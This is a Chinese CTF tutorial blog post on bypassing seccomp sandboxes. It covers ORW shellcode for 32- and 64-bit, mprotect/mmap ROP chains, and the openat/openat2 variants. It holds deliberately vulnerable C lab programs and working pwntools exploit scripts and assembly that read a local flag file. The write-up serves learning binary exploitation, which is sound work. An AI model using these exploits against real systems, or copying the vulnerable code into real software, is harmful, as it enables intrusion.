Seccomp学习(2)

D0wnBe@t Lv4

前言

Seccomp(1)已经大致介绍了一下沙箱,并且在最后的结尾处我自己还写了一个orw的源码,简单介绍了一下orw的汇编,这篇文章简单介绍一下常见的沙箱绕过方法。

参考文章:Linux X86架构 32 64系统调用表 ❤️❤️

ORW

还是先简单介绍一下ORW,上一篇文章介绍了64位的,这里简单介绍一下32位

32位

  • 先编译源码,在开始编译32位之前,要先安装32位的libseccomp以及工具链
1
2
3
sudo apt update
sudo apt install libseccomp2:i386
sudo apt install gcc-multilib g++-multilib
  • 源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// gcc -g orw32.c -o orw32 -fno-stack-protector -no-pie -z execstack -m32 /usr/lib/i386-linux-gnu/libseccomp.so.2
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <string.h>

void seccomp()
{
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0);
seccomp_load(ctx);
}

void init()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}

int main(void)
{
init();
seccomp();
char buf[0x100];
memset(buf,0,sizeof(buf));
read(0,buf,0x200);
void (*func)() = (void (*)())buf;
func();// 修改为函数指针,方便测试
}

pwntools

1
2
3
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read(3,'esp',0x30)
shellcode += shellcraft.write(1,'esp',0x30)
  • read的3要注意
1
2
3
4
stdin -> 0
stdout -> 1
stderr -> 2
flag -> 3 // 从3开始,fd(文件描述符)就是其他文件了

手写

1.获得”flag”的小端序

1
2
"flag"[::-1].encode().hex()
'67616c66'

2.shellcode直接写,在开头清空了一个字长的esp

只需要记住三个参数顺序是ebx,rcx,edx以及其所对应的含义,应该还是不难记的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
shellcode = '''
push 1;
dec byte ptr [esp];
/* open('flag') */
push 0x67616c66;
mov ebx, esp;
xor ecx, ecx;
xor edx, edx;
push 5;pop eax;
int 0x80;

/* read(3,'esp',0x30) */
mov ecx, esp;
push 3; pop ebx;
push 0x30; pop edx;
push 3; pop eax;
int 0x80;

/* write(1,'esp',0x30) */
mov ecx, esp;
push 1; pop ebx;
push 0x30; pop edx;
push 4; pop eax;
int 0x80;
'''

dec byte ptr [esp];是指将esp指向的地址数据-1

例题

pwnable_orw

和上面讲解的可以说没什么区别,只是在写shellcode前加了一段输出,但是不知道为什么我一直打不通,不是很理解。仿照着自己写一个,但是没开canary,没太大影响。

buuctf没打通换pwnable去打:https://pwnable.tw/challenge/#2

  • 源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// gcc -g orw.c -o orw -fno-stack-protector -no-pie -z execstack -m32 /usr/lib/i386-linux-gnu/libseccomp.so.2
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <string.h>

void seccomp()
{
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0);
seccomp_load(ctx);
}

void init()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}

int main(void)
{
init();
seccomp();
char buf[0x100];
memset(buf,0,sizeof(buf));
printf("Have a try!!!!");
read(0,buf,0x200);
void (*func)() = (void (*)())buf;
func();// 修改为函数指针,方便测试
}
  • EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "i386",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

# *******************BUUCTF-Ubuntu16-libc-2.23********************* #
libc = "/home/pwn/Desktop/buuctf/libc/64bits/libc-2.23.so" # ubuntu16
one = [0x45216,0x4526a,0xf02a4,0xf1147]
# ***************************************************************** #

# *******************BUUCTF-Ubuntu18-libc-2.27********************* #
#libc = "/home/pwn/Desktop/buuctf/libc/64bits/libc-2.27.so" # ubuntu18
#one = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
# ***************************************************************** #

# ***********GLibc-all-in-one-2.23********************************* #
#libc = "/home/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6"
#one = [0x4527a , 0xf03a4 , 0xf1247]
# ***************************************************************** #

file = "./orw"
#p = remote("node5.buuoj.cn",)
p = process(file)
elf = ELF(file)
libc = ELF(libc)

def bug():
gdb.attach(p)
pause()

#p = remote("node5.buuoj.cn",26902)
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read(3,'esp',0x30)
shellcode += shellcraft.write(1,'esp',0x30)

sa("!!!!",asm(shellcode))
print(p.recv())
  • 效果:

64位

seccomp学习(1)中也介绍过了,运用其实和32位也没有区别,毕竟都是用pwntools自带的模块生成,也无需关心系统调用号。

mmap

介绍

  • 它能够将一个文件或其他对象映射到内存中,使得该文件的内容可以像普通内存一样进行读取和写入操作,而不需要通过标准的 I/O 函数(如 readwrite)来进行文件操作。
1
void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);

参数解析

  1. **addr**:
    • 请求的内存映射的起始地址。一般情况下,可以设置为 NULL,由操作系统选择合适的地址来映射。如果指定了一个地址,操作系统会尝试将映射放在该地址开始的位置。
  2. **length**:
    • 要映射的内存区域的长度(字节数)。必须是页面大小的倍数,页面大小通常是 4 KB 或 8 KB。
  3. **prot**:
    • 保护标志,指定映射区域的访问权限。常见的值包括:
      • PROT_READ:允许读取映射区域的内容。
      • PROT_WRITE:允许写入映射区域的内容。
      • PROT_EXEC:允许执行映射区域的代码。
      • PROT_NONE:禁止访问该区域。
  4. **flags**:
    • 映射区域的行为和特性标志。常见的值包括:
      • MAP_SHARED:映射区域对所有进程共享,修改会反映到文件或设备中。
      • MAP_PRIVATE:映射区域为私有的,对进程内存的修改不会写回原文件。
      • MAP_ANONYMOUS:映射一个匿名内存区域(不与任何文件关联)。
      • MAP_FIXED:要求映射到指定的地址位置,可能会覆盖现有的地址空间。
  5. **fd**:
    • 文件描述符,指向要映射的文件。如果映射的是匿名内存区域,则此参数应为 -1
  6. **offset**:
    • 映射的起始偏移量(字节)。这个偏移量必须是页面大小的倍数,通常设置为 0。

通常用法

1
2
mmap(start, len, 7, 34, 0, 0)
// 将这块区域设定为rxw

之前的题目都是直接将shellcode写到栈上,或者写入一个bss段,然后函数会自动跳转去实现,但是如果开启了NX保护且只允许你往栈上写入数据,那你不炸了吗?其实不然,如何出题人贴心的给了你mmap,你可以往那里写入shellcode,然后控制程序执行流跳转过去执行,下面来看看:

例题

[极客大挑战 2019]Not Bad

mprotect

介绍

  • mprotectmmap 的补充,它允许你改变一个已经映射到内存的区域的访问权限,比如使得某个内存区域只读、只写、可执行等。mmap开辟一段内存映射,mprotect修改某一段内存映射。
1
int mprotect(void *addr, size_t length, int prot);

参数解析

  1. **addr**:

    • 要修改保护属性的内存区域的起始地址。通常,地址应当是一个页面(通常是 4KB 或 8KB)的起始地址。如果 addr 不是页面对齐的,mprotect 会向下舍入到页面的起始位置。
  2. **length**:

    • 要修改保护属性的内存区域的长度(字节数)。长度通常应是页面大小的倍数。
  3. **prot**:

    • 新的保护属性。可以是以下标志的按位 OR 结果:
      • PROT_READ:该区域是可读的。
      • PROT_WRITE:该区域是可写的。
      • PROT_EXEC:该区域是可执行的。
      • PROT_NONE:该区域不可访问。

    prot 组合了这些标志,用来指定访问权限。例如,PROT_READ | PROT_WRITE 表示该区域既可读又可写。

通常用法

1
mprotect(addr, 0x1000, 7)

32位

看我写的这篇文章:BUUCTF get_started_3dsctf_2016_buuctf get started-CSDN博客

64位

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// gcc -g mprotect64.c -o mprotect64 -lseccomp -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <string.h>
#include <sys/mman.h>

void gift()
{
asm volatile (
"pop %rdi;"
"pop %rsi;"
"pop %rdx;"
"ret;"
);
}

void seccomp()
{
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0);
seccomp_load(ctx);
}

void init()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}

int main(void)
{
init();
seccomp();
char buf[0x100];
memset(buf,0,sizeof(buf));
printf("Give you a gift %p\n",&puts);
read(0,buf,0x200);
}

分析

1
2
3
4
5
6
7
pwn@ctfpwn:~/learn/Seccomp/test/mprotect_test$ checksec mprotect64
[*] '/home/pwn/learn/Seccomp/test/mprotect_test/mprotect64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000
  • 直接给了puts的地址,相当于已经知道了libc,即使开了NX保护,我们用mprotect修改某一部分的内存映射位rwx,然后将shellcode布置到那里,一样可以get flag。
  • 通常先mprotect提权,再read直接读shellcode,然后跳转执行。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux")#,log_level = "debug"
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./mprotect64"
#libc = "./libc.so.6"
libc = "/lib/x86_64-linux-gnu/libc.so.6"

p = process(file)
elf = ELF(file)
libc = ELF(libc)

ru("gift ")
libc.address = int(p.recv(14),16) - libc.sym['puts']
mprotect = libc.sym['mprotect']
pop_rdi_rsi_rdx_ret = 0x00000000004011fe
read = libc.sym['read']
ret = 0x000000000040101a
bss = 0x404000

lg("libc_address: ",libc.address)
lg("mprotect: ",mprotect)
lg("read: ",read)

shellcode = shellcraft.open('flag')
shellcode += shellcraft.read(3,bss,0x30)
shellcode += shellcraft.write(1,bss,0x30)

payload = cyclic(0x108)
payload += flat(pop_rdi_rsi_rdx_ret,bss,0x1000,7,ret,mprotect)
payload += flat(pop_rdi_rsi_rdx_ret,0,bss+0x100,0x100,ret,read)
payload += p64(bss+0x100)

sd(payload)
#bug()
sd(asm(shellcode))
#pause()
print(p.recv())
print(p.recv())
  • 效果:

三种open的介绍

open

  • 之前一直用的都是该函数,这里还是提一嘴吧

open 系统调用

open 系统调用的 Linux x86_64 版本的系统调用号是 2

系统调用参数:

  • rax:系统调用号(对于 open,值为 2)。
  • rdi:文件路径 pathname(指向字符串的指针)。
  • rsiflags(例如 O_RDONLY, O_WRONLY)。
  • rdxmode(仅在文件创建时使用,例如 0644)。

通常用法

1
2
3
4
5
6
push 0x67616c66;
mov rdi, rsp; // 注意不要pop, 不然后面不能直接mov rsi, rsp;
xor rsi, rsi;
xor rdx, rdx;
push 2;
pop rax;

openat1

  • openat 系列函数是对 open 系统调用的扩展,它允许在指定的目录文件描述符下进行文件操作。openat 的引入解决了 open 调用不能提供基于目录文件描述符的灵活性问题,特别是在需要相对路径时。
  • 函数原型
1
2
int openat(int dirfd, const char *pathname, int flags);
int openat(int dirfd, const char *pathname, int flags, mode_t mode);

openat 系统调用

1
openat` 系统调用的 Linux x86_64 版本的系统调用号是 `257

系统调用参数:

  • rax:系统调用号(对于 openat,值为 257)。
  • rdi:目录文件描述符 dirfd(例如 AT_FDCWD)。
  • rsi:文件路径 pathname(指向字符串的指针)。
  • rdxflags(例如 O_RDONLY)。
  • r10mode(仅在创建文件时使用,默认为 0)。
  • r8:路径解析标志(通常为 0)。

通常用法

1
2
3
4
5
6
mov rdi, -100              ; AT_FDCWD,-100表示当前目录,允许使用相对目录
mov rsi, filename ; 将文件路径 'flag' 地址传给 rsi
mov rdx, 0 ; O_RDONLY,表示只读模式
mov r10, 0 ; 模式位为 0,表示不创建文件
mov r8, 0 ; 路径解析标志为 0
mov rax, 257 ; 系统调用号 257 (openat)
  • 注意:openat1打开文件之后会将fd给rax

例题

1.这篇文章:http://downbeat.top/2024/09/18/%E6%B2%99%E7%AE%B1%E7%A6%81%E7%94%A8ORW-BaseCTF/

2.自己编译:

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// gcc -g openat1.c -o openat1 -fno-stack-protector -no-pie -z execstack -lseccomp
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
#include <linux/seccomp.h>
#include <string.h>

void seccomp()
{
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open),0);
seccomp_load(ctx);
}

void init()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}

int main(void)
{
init();
seccomp();
char buf[0x100];
memset(buf,0,sizeof(buf));
read(0,buf,0x200);
((void (*)())buf)(); // 直接调用buf作为函数指针
}
  • checksec发现关闭了open
1
2
3
4
5
6
7
8
9
10
11
12
pwn@ctfpwn:~/learn/Seccomp/test/3种open$ seccomp-tools dump ./openat1
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0008
0006: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch='amd64',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
def bug():
gdb.attach(p)
pause()

p = process("./openat1")
elf = ELF("./openat1")
#************************* 绝对路径 ******************************************
#shellcode = shellcraft.openat(0,'/home/pwn/learn/Seccomp/test/3种open/flag',0,0)
# *****************************************************************************
shellcode = shellcraft.openat(-100,'./flag',0,0) # 相对路径
shellcode += shellcraft.read('rax','rsp',0x30)
shellcode += shellcraft.write(1,'rsp',0x30)
p.send(asm(shellcode))

print(p.recv())

效果:

手写:

  • 采用的是相对路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
shellcode = '''
/*openat(0,'./flag',0,0) */
mov rax, 0x67616c662f2e
push rax
mov rsi, rsp
xor rax, rax
xor rdi, rdi
sub rdi, 100
xor rdx, rdx
mov r10, 7
xor r8, r8
mov rax, 0x101
syscall;

/* read(3,'rsp',0x30) */
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x30
syscall;

/* write(1,'rsp', 0x30) */
mov rsi, rsp
push 1; pop rdi
push 0x30; pop rdx
mov rax, 1
syscall;
'''

openat2

  • openat2openat 的进一步扩展,主要出现在 Linux 5.6 及以上版本中openat2 提供了比 openat 更强大的文件打开控制功能,允许用户在文件打开时传递更多的选项和控制标志,尤其是与路径解析和文件权限相关的功能。
  • 函数原型:
1
2
int openat2(int dirfd, const char *pathname, struct open_how *how);
int openat2(int dirfd, const char *pathname, struct open_how *how, size_t size);

可以发现多了open_how这样的结构体,这个结构体使得openat2更加灵活和方便的打开文件

1
2
3
4
5
struct open_how {
__aligned_u64 flags; // 文件标志,类似于 O_RDONLY 等
__aligned_u64 mode; // 创建文件时的权限
__aligned_u64 resolve; // 路径解析策略(例如 O_PATH 等)
};

openat2 系统调用

openat2 系统调用在 Linux 5.6 中引入,系统调用号是 437,允许更灵活地传递打开文件的选项。它的参数通过 struct open_how 结构体传递。

系统调用参数:

  • rax:系统调用号(对于 openat2,值为 437)。
  • rdi:目录文件描述符 dirfd(例如 AT_FDCWD)。
  • rsi:文件路径 pathname(指向字符串的指针)。
  • rdx:指向 struct open_how 结构体的指针。

通常用法

1
2
openat2(-100,flag_addr,flag_addr+0x8,0x18) //注意参数指向的是flag的地址
// 0x18指的是结构体,3个8字节

手写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
shellcode='''
/* openat2(-100,flag_addr,flag_addr+0x20,0x18) */
mov rdi, -100
mov rdx, 0
push rdx
push rdx
push rdx
mov rdx, rsp
mov rsi, 0x67616c662f
push rsi
mov rsi, rsp
add rdx, 0x100
mov r10, 0x18
mov rax, 437
syscall;

/* read(3,'rsp',0x30) */
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x30
syscall;

/* write(1,'rsp', 0x30) */
mov rsi, rsp
push 1; pop rdi
push 0x30; pop rdx
mov rax, 1
syscall;
'''
  • 看一下栈结构:

![](../屏幕截图 2024-11-15 203709.png)

  • 标题: Seccomp学习(2)
  • 作者: D0wnBe@t
  • 创建于 : 2024-11-14 13:05:28
  • 更新于 : 2024-11-15 20:41:45
  • 链接: http://downbeat.top/2024/11/14/Seccomp学习-2/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论